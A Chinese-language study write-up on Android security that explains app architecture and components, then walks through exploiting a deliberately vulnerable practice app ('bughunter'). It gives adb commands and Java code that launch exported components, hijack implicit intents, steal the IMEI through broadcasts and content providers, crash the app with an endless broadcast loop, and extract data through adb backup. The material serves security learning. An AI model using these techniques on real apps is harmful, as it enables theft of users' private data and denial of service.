前期准备

这里我是用idea来编写Android程序,遇到了一些问题,在对照官方文档的对idea进行配置之后,在运行项目的时候会自动下载gradle,但是这里我使用wifi下载的时候会卡住,后来转用流量就恢复正常了。由于我使用的jdk为14因此需要使用较高版本的gradle,后来我还是手动安装gradle并且在idea的setting中的gradle配置中选择本地的gradle,此处我使用的6.5版本的gradle

基础知识

Android系统架构

应用层

该层包括一些核心的系统应用,还有其他的应用程序,该层是真真java层,应用层的程序都使用java进行开发

框架层

framework是开发组在Android上开发的基础,提供了应用程序的框架,很多程序通过本层实现APP的核心功能,开发人员可以直接使用其提供的组件来进行快速的应用程序开发,也可以通过集成而实现个性化的拓展。

Libraries层

包含C/C++库的集合,供Android系统的各个组件使用。这些功能通过Android的应用程序框架(application framework)暴露给开发者。

Android Runtime:java的类库,提供通用的类库。java虚拟机

操作系统层

系统的操作系统层,提供操作系统的核心和管理,硬件驱动,例如内存管理、进程管理、任务堆栈管理等 功能。

Android四大组件

Activity

  1. 一个Activity通常就是一个单独的屏幕(窗口)

  2. Activity之间通过Intent进行通信

  3. Android应用中每一个Activity都必须在AndroidManifest.xml配置文件中声明,否则系统将不识别也不执行该Activity

  4. Activity的启动方式

    • 显示调用(直接指定是启动哪个class)

      Intent intent = new Intent(this, SignInActivity.class);

      startActivity(intent);

    • 隐式调用(仅限外部公共能力,在AndroidManifest中配置了这个action、直接调用这个action就可以启动了)

      Intent intent = new Intent(Intent.ACTION_SEND);

      intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);

      startActivity(intent);

  5. Activity的生命周期

    image-20200723222017298

    Service

    1. Service通常是在后台运行的,它一般不需要与用户进行交互,没有图形用户界面(比如后台播放音乐就是用的Service组件)。Service组件需要集成Service基类。Service组件通常用于为其他组件提供后台服务或监控其他组件的运行状态。
    2. Service有两种工作状态。启动状态,主要用于执行后台计算(一般自己的写的应用程序以这种状态运行);绑定状态,主要用于其他组件和Service交互(一般系统应用程序以该状态运行)
    3. 和Activity类似需要在AndroidManifest.xml中声明全部的service,使用<service></service>标签

    Content Provider

    Content Provider用来存放和获取数据并使这些数据可以被所有的应用程序访问。它们是应用程序之间共享数据的唯一方法;这些数据不包括所有Android软件包都能访问的公共存储区域。Android为常见数据类型(音频、视频、图像、个人联系人信息etc.)装载了很多内容提供器,必须获取对应的权限来读取这些数据。

    image-20200723223611515

    Broadcast Receiver

    为了便于进行系统级别的消息推送,Android引入了广播机制。Broadcast Receiver本质上是一种全局的监听器,用于监听系统全局的广播消息。可以非常方便地实现系统中不同组件之间的通信。

    Android中的每个应用程序都可以对自己感兴趣的广播进行注册,只接受自己关系的广播内容,广播可能是来系统的,也可能是来自其他应用程序。可以静态注册,也就是在AndroidManifest.xml中进行配置,也可以动态注册,就需要到代码里去搜索有没有动态注册的函数。

    发送广播用Intent,接收广播使用广播接收器BroadcastReceiver。

安全沙箱

Android的每个应用程序都拥有唯一的UID、GID,每个应用是隔离的

应用沙箱保证每个应用之间代码和数据的隔离性。

应用安装后都会在/data/data/ 下生成独立的目录以存放私有数据。

如果两个应用使用了同样的证书签名,并在样式清单中使用相同的sharedUserID则可以相互访问彼此的数据目录。

权限控制

Android权限定义

<permission android:name="android.permission.RECEIVE_SMS

android:description="@string/pxxxxty"

android:permissionGroup="android.permission-group.xxxx"

android:protectionLevel="dangerous"/>

Android权限使用

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

Android权限等级

Normal:申请后即可使用

Dangerous:在安装时由用户确认才可以使用

Signature:必须相同签名才能用

Signatureorsystem:必须系统用户才可以使用

组件安全

组件暴露:Android四大组件,当组件的exported属性为true则表示对外暴露,导致的风险由权限暴露,敏感信息暴露,SQL注入,文件权限越权,intent注入等。

暴露Activity组件

当AndroidManifest的配置中对于activity的配置里exported属性为true时存在Activity组件暴露

image-20200724102632332

Activity组件也就是一个见面,它暴露给用户在某些时候会导致一些隐患。例如在重置密码的时候,一般的逻辑中需要正确填写旧密码才会跳转到修改新密码的界面,但是假如修改新密码的界面被暴露之后用户将可以在不知道旧密码的时候就对新密码进行设置。

image-20200724171627912

这里需要传入int类型变量1给key和string类型变量“hello”给value。传入之后可以触发隐藏界面。

1
adb shell am start -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportActivity --ei key 1 -e value "hello"

其中-n后面接包名/类名,-ei表示传入int,-e表示传入String。

image-20200724172213934

暴露Service组件

首先还是检查配置文件中的export属性是否为true,这里就不啰嗦了。然后看下代码发现要传入一个名字叫exportService的action才能触发。

image-20200724172526085

使用如下命令进行触发

1
adb shell am startservice -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportService -a "exportService"

Broadcast组件暴露

image-20200724175028531

这里只需要传入action == "broadcast"就可以触发这里组件暴露,然后指定title和content为自己想显示的值即可,这里需要使用较高版本的安卓虚拟机,不然会crash

1
adb shell am broadcast -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportReceiver -a "broadcast" -e "title" "2333" -e "content" "wwwww"

这里也可以缺省title和content的值最后显示出来就是空白的弹窗。

组件劫持

查看代码可以发现这里私有组件启动intent的方式是以指定action的方式,action为"hijack"

image-20200729092831049

由此,编写了一个APK,声明同样名字的action的暴露组件。当点击运行带参跳转的私有组件时,即可触发同样名字action的暴露组件,获得私有隐私数据IMEI码。

这里bughunter中的Intent为隐式Intent用于启动Activity。因为使用隐式Intent,所以首先在AndroidManifest.xml中设置intent-filter。

image-20200729093539648

创建筛选出符合过滤器要求的intent的函数isActionSupport。当筛选符合过滤器要求的intent以后,获取intent,选择action为“hijack”的intent,获取名叫“imei”的String,利用Toast弹出“imei”的值

在MainActivity.class中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.example.myapplication;

import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;

import java.util.List;
import java.util.Objects;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}

public void onStart(){
super.onStart();
hijackSetting(this);

}

private void hijackSetting(Context context){
if(isActionSupport(context, "hijack")){
Intent intent2 = getIntent();
if(Objects.equals(intent2.getAction(), "hijack")){
String msg = intent2.getStringExtra("imei");
Toast.makeText(this, msg, Toast.LENGTH_LONG).show();
}
}

}

private boolean isActionSupport(Context context, String action) {
final PackageManager packageManager = context.getPackageManager();
final Intent intent = new Intent((action));
List<ResolveInfo> resolveInfos = packageManager.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
return resolveInfos.size() > 0;
}
}

然后点击跳转到私有组件

image-20200729093809328

image-20200729093842464

动态注册广播

当前组件会发送一个动态广播,存在如下漏洞 个人数据、使组件崩溃和日志泄露。

image-20200729094305133

我们可以创建通过接收广播获取私有数据的函数并执行,然后点击bug hunter的发送广播按钮,即可收到私有数据"imei"码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class MyBroadcast extends BroadcastReceiver {
@SuppressLint({"WrongConstant", "ShowToast"})
public void onReceive(Context param1Context, Intent param1Intent) {
Toast.makeText(MainActivity.this, "get it", 0).show();
Log.i("bughunter", Objects.requireNonNull(param1Intent.getStringExtra("imei")));
}
}
private void registBroad() {
registerReceiver(new MyBroadcast(), new IntentFilter("broadcast"));
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
registBroad();
//send_null();
}
image-20200729094451933

创建发送空数据广播的函数send_null,因为bug hunter一直保持接收广播的状态,因此发送空广播将会导致bughunter crash

1
2
3
4
5
6
7
8
9
10
11
12
13
private void send_null() {
while(true){
Intent intent = new Intent("broadcast");
MainActivity.this.sendBroadcast(intent);
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//registBroad();
send_null();
}

image-20200729094621125

由于未注销广播可以导致intent泄露,反复打开当前界面,利用adb的logcat命令adb logcat | grep -E *leak* > 2.txt

image-20200729094700552

Provider组件暴露

image-20200729095309385
image-20200729095404306

因为该暴露的组件处理query操作,所以可以编写获取数据库个人数据的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
while(true){
get_Imei();
}
}

private void get_Imei() {
ContentResolver contentResolver = getContentResolver();
Cursor cursor = contentResolver.query(Uri.parse("content://com.example.bughunter.ComponentSecurity.ExportProvider/info"),
new String[]{"imei"}, null, null, null);
if (cursor != null) {
while(cursor.moveToNext()){
String a = cursor.getString(0);
System.out.println("imei="+a);
}
}
}
}

然后可以在logcat中看到imei的数据

image-20200729095636844

数据安全

Log打印泄露

adb logcat -S LogActivity其中-S指定是哪个组件

image-20200719112539795

数据保存在SD卡

adb pull /mnt/sdcard/ E:\2020拉取到本地,然后打开bughunter.txt可以看到imei

image-20200729103619983

SharedPreferences模式设置错误

发现SharedPreferencesActivity.class中的savedata方法获取imei号并保存到imeixml中,字段为imei

image-20200729105211595

该漏洞在高版本的安卓系统中已经失效,MODE_WORLD_READABLE已经被弃用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
get_Imei();
}

private void get_Imei(){
String msg;
msg = getSharedPreferences("imeixml", MODE_WORLD_READABLE).getString("imei", "");
Toast.makeText(this, msg, Toast.LENGTH_LONG).show();

}
}

openFileOutput模式设置错误

Manifest安全

AndroidManifest.xml是xml文件,其中包含包的信息,包括应用程序的组件,如活动、服务、广播接收器、内容提供者等。Manifest安全则是由于其中的一些配置不当导致的安全问题。

allowbackup安全

Android API Level 8及其以上Android系统提供了为应用程序数据的备份和恢复功能,此功能的开关决定于该应用程序中AndroidManifest.xml文件中的allowBackup属性值,其属性值默认是true。当allowBackup标志为true时,用户即可通过adb backup和adb restore来进行对应用数据的备份和恢复,这可能会带来一定的安全风险。(参考资料

image-20200719103543468

在bughunter的AndroidManifest.xml中可以看到allowBackup属性值被设置为true。因此使用adb backup -nosystem -noshared -apk -f backup.ab com.example.bughunter获取备份。

[-system|-nosystem]是用来告诉adb在备份时是否要连同系统一起备份,默认选项为-system

[-shared|-noshared]假如选择shared会将手机存储空间或是SD卡的档案一起备份,默认选项为-noshared

[-apk|-noapk]选择是否和安装的APK一起备份,默认选项为-noapk,该选项下只会备份APK的资料档

-f <档案名称> [需要备份的应用包名]这里的档案名称为backup.ab,需要备份的应用包名为com.example.bughunter

然后手机上会弹出这个界面,直接选择备份即可

image-20200719104848256

之后利用android-backup-extractor(abe)来解析backup.ab,使用unpack参数java -jar abe.jar unpack backup.ab backup.tar

之后解压backup.tar得到如下内容

image-20200719105058963

这里打开r中的info.txt即可以看到题目要求的隐私数据

image-20200719105233366

debug开关安全

还是看到AndroidManifest.xml中可以发现debuggable属性为true,因此可以对该应用进行调试

image-20200719105349521

因为可以调试所以可以打印log信息,得到隐私信息

image-20200719112539795

meta-data数据安全

meta-data中存放数据可以被全局使用,但是不能用来存放个人数据,可以看到这里存放了secret-key

image-20200719112806196

暗码安全

可以找到暗码为*#*#9527#*#*这里的提示写得好像有些问题

image-20200719114451309

image-20200729115825152

网络安全

WebView泄露私有目录文件

Webview泄露位置信息

adb push E:\sdcard\webwiew_geo.html /mnt/sdcard/使用该命令将修改过的webwiew_geo.html更新到avd上

image-20200731151612390

危险函数

命令注入漏洞

这里由于代码调用Runtime.getRuntime().exec()因此会将输入的字符串当作命令进行执行

image-20200730145643668